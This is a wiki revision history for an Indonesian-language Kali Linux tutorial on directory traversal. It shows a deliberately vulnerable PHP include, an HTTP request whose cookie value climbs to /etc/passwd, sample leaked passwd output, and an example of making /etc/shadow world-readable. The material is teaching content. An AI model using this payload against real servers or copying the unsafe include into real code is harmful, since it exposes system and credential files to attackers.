Kali Linux: Web Directory Traversal Vulnerability - Revision history

Onnowpurbo: /* Kesalahan Admin */

2018-06-01T23:47:50Z

Kesalahan Admin

← Older revision		Revision as of 23:47, 1 June 2018
Line 120:		Line 120:
	==Kesalahan Admin==		==Kesalahan Admin==

	Kesalahan fatal admin disini adalah mengetik		* Memasukan PHP yang vulnerable
			* Kesalahan fatal admin disini adalah mengetik

	sudo su		sudo su
	chmod 644 /etc/shadow		chmod 644 /etc/shadow

Onnowpurbo at 23:47, 1 June 2018

2018-06-01T23:47:12Z

@@ Line 26: / Line 26: @@
   GET /vulnerable.php HTTP/1.0
   Cookie: TEMPLATE=../../../../../../../../../etc/passwd
 Responds dari ../../etc/passwd kira-kira:
@@ Line 50: / Line 51: @@
-==Lebih Parah Lagi==
+Kesalahan fatal admin disini adalah mengetik
   sudo su
-  chmod 644 /etc/passwd
+  chmod 644 /etc/shadow

Onnowpurbo at 23:23, 1 June 2018

2018-06-01T23:23:47Z

← Older revision		Revision as of 23:23, 1 June 2018
Line 27:		Line 27:
	Cookie: TEMPLATE=../../../../../../../../../etc/passwd		Cookie: TEMPLATE=../../../../../../../../../etc/passwd

	~~Generating a server response such as~~:		Responds dari ../../etc/passwd kira-kira:

	HTTP/1.0 200 OK		HTTP/1.1 200 OK
	Content-Type: text/html		Date: Fri, 01 Jun 2018 23:21:52 GMT
	~~Server: Apache~~		Server: Apache/2.4.18 (Ubuntu)
			Vary: Accept-Encoding
			Content-Length: 2164
			Connection: close
			Content-Type: text/html; charset=UTF-8

	root:~~fi3sED95ibqR6~~:0:1:~~System Operator~~:/:/bin/~~ksh~~		root:x:0:0:root:/root:/bin/bash
	daemon:*:1:1::/~~tmp~~:		daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
	~~phpguru~~:~~f8fk3j1OIf31.~~:~~182~~:~~100~~:~~Developer~~:/~~home~~/~~users~~/~~phpguru~~/:/bin/~~csh~~		bin:x:2:2:bin:/bin:/usr/sbin/nologin
			sys:x:3:3:sys:/dev:/usr/sbin/nologin
			sync:x:4:65534:sync:/bin:/bin/sync
			games:x:5:60:games:/usr/games:/usr/sbin/nologin
			man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
			lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
			..
			..
			dst





	Karakter ../ yang di ulang-ulang sesudah /home/users/phpguru/templates/		Karakter ../ yang di ulang-ulang sesudah /home/users/phpguru/templates/

Onnowpurbo at 22:46, 1 June 2018

2018-06-01T22:46:53Z

← Older revision		Revision as of 22:46, 1 June 2018
Line 1:		Line 1:
	~~A directory~~ traversal (or path traversal) ~~consists in exploiting insufficient security validation~~ / ~~sanitization of user-supplied~~ input ~~file names~~, ~~such that characters representing~~ "traverse ~~to parent directory~~" ~~are passed through to the~~ file ~~APIs~~.		Directory traversal (atau path traversal) merupakan eksploitasi kekurangan validasi keamanan / sanitasi nama file input yang disediakan pengguna, seperti karakter yang merepresentasikan "pelintasan / traverse ke direktori induk" dilewatkan ke file API.

	~~The goal of this attack is to use an affected application to gain unauthorized access to the~~ file ~~system~~. ~~This attack exploits a lack of security~~ (~~the software is acting exactly as it is supposed to~~) ~~as opposed to exploiting a~~ bug ~~in the~~ code.		Sasaran serangan ini adalah menggunakan aplikasi yang salah konfigurasi untuk mendapatkan akses tidak sah ke sistem file. Serangan ini mengeksploitasi kurangnya keamanan (walaupun perangkat lunak bertindak persis seperti yang seharusnya) berbeda dengan eksploitasi bug dalam code.

	~~Directory~~ traversal ~~is also known as the~~ ../ (dot dot slash) ~~attack~~, directory climbing, ~~and~~ backtracking. ~~Some forms of this~~ attack ~~are also canonicalization attacks~~.		Direktori traversal juga dikenal sebagai serangan ../ (dot dot slash), directory climbing, dan backtracking. Beberapa bentuk serangan ini juga merupakan canonicalization attack.

	~~A typical example of~~ vulnerable ~~application in~~ PHP ~~code is:~~		Contoh sederhana aplikasi yang vulnerable di PHP di bawah ini,

	<?php		<?php
Line 14:		Line 14:
	?>		?>

	~~An attack against this~~ system ~~could be to send the following~~ HTTP ~~request:~~		Aplikasi dapat kita beri nama misalnya vulnerable.php.
			Diletakan di bawah folder web /var/www/html/vulnerable.php

			Serangan terhadap system ini dapat dilakukan menggunakan request HTTP berikut, jika anda kesulitan dapat menggunakan

			telnet ip-address-server 80

			masukan / ketik satu per satu kalimat di bawah ini,


	GET /vulnerable.php HTTP/1.0		GET /vulnerable.php HTTP/1.0
Line 29:		Line 37:
	phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh		phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

	~~The repeated~~ ../ ~~characters after~~ /home/users/phpguru/templates/ ~~has caused~~ include() to traverse ~~to the~~ root directory, ~~and then~~ include ~~the~~ Unix password file /etc/passwd.		Karakter ../ yang di ulang-ulang sesudah /home/users/phpguru/templates/
			menyebabkan include() untuk melakukan traverse ke root directory,
			kemudian include Unix password file /etc/passwd.

	Unix /etc/passwd is a common file used to demonstrate directory traversal, as it is often used by crackers to try cracking the passwords.		Unix /etc/passwd is a common file used to demonstrate directory traversal, as it is often used by crackers to try cracking the passwords.

Onnowpurbo at 03:39, 1 June 2018

2018-06-01T03:39:06Z

← Older revision		Revision as of 03:39, 1 June 2018
Line 34:		Line 34:

	However, in more recent Unix systems, the passwd file does not contain the hashed passwords. They are, instead, located in the shadow file which cannot be read by unprivileged users on the machine. It is however, still useful for account enumeration on the machine, as it still displays the user accounts on the system.		However, in more recent Unix systems, the passwd file does not contain the hashed passwords. They are, instead, located in the shadow file which cannot be read by unprivileged users on the machine. It is however, still useful for account enumeration on the machine, as it still displays the user accounts on the system.


			==Lebih Parah Lagi==

			sudo su
			chmod 644 /etc/passwd

Onnowpurbo: Created page with "A directory traversal (or path traversal) consists in exploiting insufficient security validation / sanitization of user-supplied input file names, such that characters repres..."

2018-06-01T03:38:05Z

Created page with "A directory traversal (or path traversal) consists in exploiting insufficient security validation / sanitization of user-supplied input file names, such that characters repres..."

New page

A directory traversal (or path traversal) consists in exploiting insufficient security validation / sanitization of user-supplied input file names, such that characters representing "traverse to parent directory" are passed through to the file APIs.

The goal of this attack is to use an affected application to gain unauthorized access to the file system. This attack exploits a lack of security (the software is acting exactly as it is supposed to) as opposed to exploiting a bug in the code.

Directory traversal is also known as the ../ (dot dot slash) attack, directory climbing, and backtracking. Some forms of this attack are also canonicalization attacks.

A typical example of vulnerable application in PHP code is:

<?php
$template = 'red.php';
if (isset($_COOKIE['TEMPLATE']))
$template = $_COOKIE['TEMPLATE'];
include ("/home/users/phpguru/templates/" . $template);
?>

An attack against this system could be to send the following HTTP request:

GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd

Generating a server response such as:

HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

The repeated ../ characters after /home/users/phpguru/templates/ has caused include() to traverse to the root directory, and then include the Unix password file /etc/passwd.

Unix /etc/passwd is a common file used to demonstrate directory traversal, as it is often used by crackers to try cracking the passwords.

However, in more recent Unix systems, the passwd file does not contain the hashed passwords. They are, instead, located in the shadow file which cannot be read by unprivileged users on the machine. It is however, still useful for account enumeration on the machine, as it still displays the user accounts on the system.